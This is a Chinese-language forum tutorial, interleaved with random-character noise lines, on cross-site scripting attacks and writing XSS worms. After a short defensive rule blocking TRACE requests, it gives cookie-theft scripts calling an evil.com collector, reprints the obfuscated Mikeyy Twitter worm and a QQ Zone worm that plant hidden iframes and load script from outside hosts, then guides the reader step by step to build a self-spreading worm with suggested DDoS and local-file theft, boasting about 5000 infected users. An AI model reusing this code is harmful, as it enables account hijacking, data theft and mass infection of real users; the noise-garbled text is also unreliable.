5 m" `5 H& z# ~- h" M2 |/ T如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
6 L* W9 n$ D  V' r6 \9 l$ N
( F; F# z, o2 e3 r0 O5 M" A' y[code]
' f9 Z, x5 A9 P' B, N  F, @) D6 g2 h
5 k7 z& y  W0 F' \; CRewriteEngine On

3 t- ], G* [* r" a, ]RewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]
+ Y, ?0 c' h7 C
8 I3 y' Q8 E. M- ]4 U7 |
  G  i* d8 Z! I( V
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
" d6 y4 Z) ]+ Z( F' ^# L
acl TRACE method TRACE
) Q' r0 ^, z/ E. o8 a9 i
...
0 N6 k, m- P' v) T
7 }, ~4 o5 h: n7 y$ p! {# J% Khttp_access deny TRACE
1 G& z9 @2 q. Q  X2 p. ^复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

- B) K2 M5 M8 X1 b/ A: ZXmlHttp.open("GET","http://www.google.com",false);
$ `7 w* g; G( w) a/ }* E
0 q( w, C, D$ s) u. i5 ]XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
* G) f7 F2 x1 E
</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
8 p; E6 Y# {: d. X0 L; G) K' C* |4 N


' L% d* |- \. Y+ F  r0 {( DXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
# H4 J; W% ^! v0 V; o% |
XmlHttp.send(null);
7 N: S( j, m7 i) V6 k" K3 V1 `0 n2 ?
<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
( n$ i% [9 P. ]! m* Z0 n$ a复制代码案例:Twitter 蠕蟲五度發威
4 Q( V2 Y& t. S7 v4 t2 j第一版:
  下载 (5.1 KB)
' C/ Q# Q" W' V+ A4 p5 s
: i. j: C- h0 e) B& F$ T6 天前 08:27
" v! r( z' U7 C$ i
0 y" G" ]0 p3 S8 S" `9 Q  J2 t0 C第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
8 p2 z# {3 j: e% J" ]0 _2 ^
% W1 p1 Z$ t# B   2.   
6 A, J$ d' ?4 i
   3. function XHConn(){  

   4.   var _0x6687x2,_0x6687x3=false;  
( e: t* l+ C! a2 ?/ R
9 D, G+ \- P, A; I  Y5 l   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
" S2 ^" u: Z& w. h5 c6 s( j
8 h0 ]! U$ u" y2 \3 q   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
6 @3 f  P$ N9 ]) _
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
2 a5 @+ L0 |1 g" s
   8.   catch(e) { _0x6687x2=false; }; }; };  
- P0 G: L3 d$ ~: L. u2 T5 u- s复制代码第六版:   1. function wait() {  

: m  y: u: u; |# d! t* W* ]   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

: Z+ K" G* E' w+ P5 T% k7 g   6.   var authtoken=authreg.exec(content);  
% |6 P" z: R8 D: ~+ L" x
' }% J0 e; t/ ~; |8 S8 [5 y2 T   7.   var authtoken=authtoken[1];  
( f& `: R+ M. Z5 J
! i1 R1 i) e' ?+ z   8.   var randomUpdate= new Array();  
* }6 @* s+ a; T; _9 b, P
" t: [# I2 q; F   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

% w9 {2 h* a/ f) }) I3 i  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
& P6 h- w) |) R9 }' S( c
  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
5 t! n- o& o; R. T4 g, E+ v- `
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

% z" D; r$ g7 `  e6 M  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
" g# l* K+ x* Z3 Y
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
- a/ R* q; s* \7 j
# g+ p& H' a9 z/ L4 b" g( k  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

* e# }4 Y% U. _2 g  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

% v; q' s+ w6 _5 B$ R  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

# f) w6 z- X- B8 [3 ~9 }) k  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

! V9 L0 T. V. x& l  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
4 M& U# S7 ]) X
+ o0 J" X" ~1 d7 ^# X: p  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
; u0 q% H7 Z; l( E+ d9 ?  y
  24.     

: r0 J/ {; e: d1 k4 P$ \  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

' _# c3 }: p1 d* M/ x; F" {/ o2 ~  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
0 k+ ^. b9 }9 b( C3 f+ q/ R
  27.     
0 p2 D$ p. v. I  G0 M! ^8 k7 b
  28.   var ajaxConn= new XHConn();  

4 }9 P) s& j5 r( u$ V3 K* \  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

0 N- o0 @+ l9 p2 c, K  30.   var _0xf81bx1c="Mikeyy";  
3 t; E2 u# i, M
  31.   var updateEncode=urlencode(_0xf81bx1c);  
6 u$ D' v' Y) \5 r7 G
  32.   var ajaxConn1= new XHConn();  
& P/ D0 c% V! H4 r9 l
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
. B6 P( z% C' V- f: a: ^% I
2 t. Q' e; ^# f* A, }  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
7 |3 E1 ^* M* n7 v. G- C' |( M1 \
( {. l: _* H: f6 }$ @4 H  35.   var XSS=urlencode(genXSS);  
) J9 d: T; ?" C, ], J0 W' h$ K9 _
! z7 h. g7 d* v8 B9 k  36.   var ajaxConn2= new XHConn();  

, F/ p) K  M# m  `$ {3 [  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
9 v+ j% U: R7 m5 U
' I# x0 O) \; T4 [% k$ Q  38.     

% w- o# V+ z" N4 H  ?  39. } ;  

, i9 t" q- y8 J: I. G- r' b2 ^% i4 H, A  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

0 |% }" D) ?. t. v3 S( `: R, `window.onerror=killErrors;



9 [8 a+ A% I& yvar shendu;shendu=4;

//---------------global---v------------------------------------------
  k: h8 \: i; S! E
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

, p9 x# m0 P" z, V, p& v: m- Ovar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();

( z- N8 f3 N# s2 [8 p" s& j        var gurl=document.location.href;
- f$ J( S' S: X% D# S4 c
6 O7 w* W2 h3 j' _$ D# m        var gurle=gurl.indexOf("com/");
" e* i1 c. i. K' C* t& j1 `' J0 x
        gurl=gurl.substring(0,gurle+3);        
& m7 k1 R7 Q, m4 m- h, u
% V! I# y3 ^! U5 G; M        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");

3 [% J0 |  w+ v* T        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);
2 `! R+ w$ G; X( a
        DOshuamy();
+ {: e% ?& q) v! o

7 ~7 u2 W9 C- K& G  g
//挂马
& K! I0 |+ h5 W( R3 A# V; }
function DOshuamy(){

6 \6 G* B( w4 Wvar ssr=document.getElementById("veryTitle");

. N) s5 R; M' k' x1 P. N5 _5 Lssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

2 P5 O7 I( E: C3 Y5 c+ x, Y4 l) o7 W}

% o9 H' P7 h( t% |
, H, q' s! G/ p7 i( }
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

7 x) j; d; o. @, ?: yfunction get_my_blog(visitorID){
! ?1 a5 a4 K8 J; Q) r' Z  N# P, A5 D' @
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
+ l' M, a# [* r3 y8 `  ^
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的
9 P) }4 L! i- Q4 r6 Z
( i: @8 e4 t) X3 f, [+ b     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

: h2 |' Q1 E1 N( n7 @! }     xhr.send();guest=xhr.responseText;

4 e9 h& P1 _8 s9 j6 H$ @) Y     get_my_blogurl(guest);    //执行这个函数
0 D1 d% I. F/ h9 ~; j' q
* v; E  k0 G$ L" o    }

}
# j; n( _) z2 V( n3 D/ Y, X: `
/ C- m& \& M2 Q1 ]/ f, x& B% U
* E! S! d" s' o5 P
//这里似乎是判断没有登录的

function get_my_blogurl(guest){

  var mybloglist=guest;

  var myurls;var blogids;var blogide;
, G. s$ M9 n0 M, l- {
  for(i=0;i<shendu;i++){
/ z5 F% g  v3 [- \6 |$ l7 h
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
3 L7 n" J2 s% F+ g2 F* W2 j% Q
6 Z4 D- i2 |" c4 O! Q( b     if(myurls!=-1){    //找到了就执行下面的
3 C0 l, v/ z$ P  a- {% P" z) m: y
         mybloglist=mybloglist.substring(myurls+11);

- E& D4 S. k( ]/ y1 d3 |7 B         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);
* S0 t" L9 k4 K  h- u
        }else{break;}

}

get_my_testself();    //执行这个函数
" E2 F+ I( C2 ^( F+ L) V
6 G) w5 J# p! `# R; o$ k, X}
$ ?) a# A5 p. _6 Y! y


//这里往哪跳就不知道了

function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
/ X# A. B, ?+ Z
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

% u# R) s: ]2 _: O$ f  g      if(xhr2){        //如果成功
7 ^1 U+ H5 d, Z
              xhr2.open("GET",url,false);     //打开上面的那个url
" Q$ A% n6 I3 }" ?
              xhr2.send();
, u' F+ y4 b1 E" G' s
5 w! p' n1 Q' X, p( w( c              guest2=xhr2.responseText;
6 O( v' P% o# {& {0 g
* }& s- o* u, F3 T              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
+ q/ o9 v6 H1 L7 J7 Z
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
, Y% v7 {! i6 f/ O& n. F3 G0 L
2 C* k5 ]9 `+ t9 D                targetblogurlid=myblogid;   

- z4 Z6 `, Q) }- ]9 ~% {# j                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
: }8 t) }. ]% D( f& x
                break;

               }

              if(mycheckit=="-1"){
; q  _, T$ h/ x
                targetblogurlid=myblogid;

. {- M* _- a5 K4 ?. W" |7 c                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;
  Y# X; u9 j4 h3 [$ r" n
               }
$ k# \0 U! [: y& ]: k
) G* }. z+ A+ _        }      

}
/ y: B9 |7 ^" e" t, Q6 p
" ]) P1 h8 T% D3 G$ U+ p}

- g  [' m0 A2 ^& w/ L: |  Z# _
, r2 p$ {3 U! i! q, N
- `4 O  I: a$ ]$ D: [7 ?$ a: }//--------------------------------------  
! b3 }0 v/ P9 S# U+ Z  @! O& e
$ _- _0 V$ k, m3 n5 A/ K//根据浏览器创建一个XMLHttpRequest对象
1 Z. d3 \& n- s7 A/ i  l7 {' y: t
# A# J: j9 Z* s  `" efunction createXMLHttpRequest(){

    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
4 n2 e# a7 x+ j; `
    else  
' f. p1 n$ K7 n# A4 N
( C6 b% [$ J6 ^+ l5 P      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
; n( E' @3 B$ N+ ~
( ~% M) d7 {6 y( E        for(var i=0;i<MSXML.length;i++)  

        {  
" ~3 m+ S# P' N/ T
# u7 I! D! v! A: ?7 ?' s            try  

            {  

- r% M9 G8 s7 Z9 [3 O5 I                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  
* j4 F# {' d7 d9 J* L
            }  
4 P( q/ [# X  U/ z  a
! E( o5 n1 J* z* }) E9 _; d  I% k            catch (ex) {  

# `2 t4 Z9 I: m$ Z' H% p            }  

         }  

+ u# ?: Q. A1 E7 p      }

+ u# e( P: x( ]) m/ Z% C) p% lreturn XMLhttpObject;
( u+ L& s9 G5 a8 E! S
}  
; U  ~' B5 I3 q, O4 t  Y
5 F/ o( M1 i7 @! L: _3 `
5 p. W1 k2 w+ y: c
//这里就是感染部分了
+ W1 F; f! G' l1 b/ `
' p4 c# `# \$ t6 I+ yfunction add_js(visitorID,targetblogurlid,gurl){
6 k: l6 i6 d" S6 E
var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
6 R6 m+ D  R2 Y/ ^' l
s2.type='text/javascript';
" q/ ~- u" h0 @8 b# g6 c; I3 U
document.getElementsByTagName('head').item(0).appendChild(s2);

}


. E) [+ {- @1 p) u) c8 l$ h
0 ^6 A2 G/ a! u8 l" n( V0 u! j+ Lfunction add_jsdel(visitorID,targetblogurlid,gurl){
: G' o* J0 h/ w0 E
% Q% W0 h  |& Z& h# Z8 S2 Mvar s2=document.createElement('script');
- ]; l! b: {4 g* {3 ]' c9 k
' l- {6 Y) q7 a' o/ }) V+ bs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
! c+ ^# g% d4 [. s' o- n6 i, T
document.getElementsByTagName('head').item(0).appendChild(s2);

}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
2 N; \9 v7 S, s8 Y" O+ n- q0 M1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

9 C+ w% R) z5 |: |0 a" j% G2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
" Q8 ^3 [6 [: |8 e3 g! S1 M# \
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

! S, Q9 }2 A" h) z2 ]/ n
" v: K: \/ b- P% l( S; q+ l下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
. i9 k; c2 ^$ R) ]5 `& A, p
首先,自然是判断不同浏览器,创建不同的对象var request = false;
) i# N2 n; e" e; E3 l1 X; X
1 V$ Y8 f/ W% ?* j. t# \) _" oif(window.XMLHttpRequest) {
+ U' u' V3 I" ?( S/ L3 t4 \
request = new XMLHttpRequest();

if(request.overrideMimeType) {

8 k- {/ [+ L' Krequest.overrideMimeType('text/xml');

}
  W$ v% a. K( [; A# D
* E% K1 j9 x" W} else if(window.ActiveXObject) {
  t8 e3 G: U; H
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
# M/ |% A7 f7 T9 t
4 D! u. T" [* pfor(var i=0; i<versions.length; i++) {

try {

request = new ActiveXObject(versions);
' |; |* K( ~6 g1 B
& n- P" m* s: i: e0 ?7 N. D} catch(e) {}
) x) e* V  U( x  a8 l9 v
}
% E3 U0 Q7 c1 ~: B+ b( g
}

xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
7 z$ p3 T7 V7 @6 u; e: k/ u
5 X: \) O  T( G+ a: E4 ~- x        var Browser_Name=navigator.appName;

4 b8 l; }* v9 I0 \6 J& u, u/ `# a        var Browser_Version=parseFloat(navigator.appVersion);

        var Browser_Agent=navigator.userAgent;
; s+ S+ X4 g1 t) {
        

        var Actual_Version,Actual_Name;
. K% f6 t  J0 U! F, P) Z8 }
1 w; H. p$ j0 ^; v+ y        
# ^1 w0 i- f) O5 d1 Z
, P( a. l+ U5 g4 |& x        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");

        
& n! R: @2 f$ A/ q, Q
. m$ m+ L$ h  w2 T. `        if(is_NN){

            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");

2 c# Y% I4 d% k! K                var Version=Browser_Agent.indexOf(" ",Split_Sign);
, {% h& d( v* v/ ^& R
6 b0 E9 W! g. B0 C6 V% U& }) O                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);


$ A1 L9 k& |; @2 G
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
3 A4 ]+ _+ \  Q
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
5 b0 p" U7 w1 S* K' C0 {9 C
            }

            else{

9 j1 s8 q6 \# P5 k# W* A                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;
& v' w) f8 I; _
            }

        }

        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");
, @# {6 i& k4 S
7 |+ G$ v: i/ c9 e, P; y            var Version_End=Browser_Agent.indexOf(";",Version_Start);
" z( U0 c0 i" U* z, T& y. j
% G% [; k) ?6 w. V0 y) [            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
0 B) e4 K( i" N6 h  y- C
            Actual_Name=Browser_Name;

3 V# n7 H& t/ @3 I# Y' d( U            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

            }
! ~2 _5 m! y; w. D; o/ b% s
. V0 q; O/ X7 x            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

6 n# b6 O6 |" o/ c) W6 I1 J, u% ?                var tempend=Browser_Agent.length;
% b# I+ d) P$ ?: w
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

, W" d2 j7 x" Q            }

        }
' \. W+ V/ f5 t8 O
        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");
; h" F8 n) W5 D: n: s* s0 T
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
0 u- |" F0 R4 C7 X  M( ?- `2 F
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

' K5 E3 I$ C, J9 U            Actual_Name=Browser_Name;

  n! }( |( R2 f# \9 U            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
- \) U3 A* \  \; z% t
                Actual_Name+="(Maxthon)";
" p, u; J0 t! }/ M
            }

/ h$ E, y0 x2 A! Y1 Y* f" Y1 ?            else if(Browser_Agent.indexOf("Opera")!=-1){
( m' R/ w8 ]& O1 X
* Z& l7 n! B) ~* J: g                Actual_Name="Opera";
& A) Y, B; X9 r* V. L7 T. e
                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
7 Z) N5 ]+ \  U) }" a2 X: n- w! O
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

# ]" Y* b9 w. R9 p8 S  o5 a            }

% S4 B0 L* R3 w* D7 ^( I) {        }
* t/ {9 M2 o7 X& j" |) a0 F
* Q) ^( n, c9 {2 i6 I        else{
6 m" y7 I- d' U. J
: s+ L, o7 S, O5 x3 b  q            Actual_Name="Unknown Navigator"
- p- t* K; h6 a6 ?3 f: m
1 s  }! N) J, T" l& N( c0 S            Actual_Version="Unknown Version"
4 J- p5 I9 s, @# F- y# v" S0 _
        }

$ D" k; Y+ \' c& Q0 r
( ^3 l) l, ?+ u. }
8 ]  ~# |0 y, n* ?+ j* m* E, z2 G        navigator.Actual_Name=Actual_Name;

8 j3 V, H1 B1 y6 u/ r6 f        navigator.Actual_Version=Actual_Version;
( D$ `0 ]# n1 z& C4 l2 P
9 W" {3 v' N" F+ Z; G3 W4 |        

, }9 `4 c) |& }3 L0 o( J+ y$ m1 S        this.Name=Actual_Name;

) ^/ c7 V- t# L9 P* F        this.Version=Actual_Version;
2 u) O& ^$ I" A# A6 W! i  P0 |7 Q6 P
    }

    browserinfo();
' U# _3 F4 U4 o; `! ^
, \/ u% b2 r2 k: W/ t    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
) E$ Q0 e( k1 ]: r
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
' k! q8 k- u7 ?1 n3 d$ `9 @# E2 o
. \* D7 d7 f: u( R    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
( s& B- @1 Z( O7 z复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
* k% g" B9 M' \! T3 W复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
. }- m& d. U* X) D9 m. o0 \复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

# g3 {1 B$ l" `( q8 M7 B2 exmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;
0 K9 q; x. {8 O
var id=0;var result;
1 Z2 G5 D1 ^+ p
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
* R, w1 R( P- R; A
; u% @% o' b0 d( ?while ((result = patt.exec(resource)) != null)  {

. V& S8 I  I( [id++;
' N/ Z6 a+ W( ^7 Q) w+ c
}
& x& H/ Q, `( E2 G$ ]复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
# Q2 Q. T! i9 Q4 g5 j7 r. i% v
% h; F. [- X0 l, d+ |4 ino=resource.search(/my name is/);
5 {' z/ x& o2 v9 P6 M: v( ^1 Z
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
( Q5 u" Q/ k# h  N& v, G$ T
var post="wd="+wd;

4 `; F) `5 o$ g  z* t6 R6 NxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
6 n# _4 ]5 I6 ?& L& g
" n* \3 W! h  s! J" U3 G" fxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

! \- N$ w! q8 K; q8 B$ \% WxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
# B: E' o7 @5 L/ Y
7 }, l" h4 u, n: c7 c0 ZxmlHttpReq.send(post);
- _# H& a2 s9 X! k4 c+ P# V, ?+ t7 j# y. w
$ N' I0 P1 w# z6 Q4 }}
6 \, |6 y8 b# B% o* L复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
- ^. v2 W7 ]6 j% ?
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
% ~/ X8 u5 w. \! a3 ]  ^) c
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

5 e9 x: Y; D% f# B8 y- v' Lvar post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
9 f- g0 T4 v- o3 h. I
xmlHttpReq.setRequestHeader("content-length",post.length);
6 S" ~5 s0 }* N1 L
8 ]) `/ ?% l& B: Q: y/ i/ cxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

: I$ m5 `" E, u+ y4 h7 Q5 y3 pxmlHttpReq.send(post);                 //把传播的信息 POST出去.

! k5 ^* t# m1 R6 H$ l" ?/ z1 e}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------

: i# F( _5 u, T
+ n7 v( A; W+ u# v+ M, B
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
0 B0 U& e) _; v9 r+ ^  N6 E( i' |蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
+ p7 g* r9 O. F6 P操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.


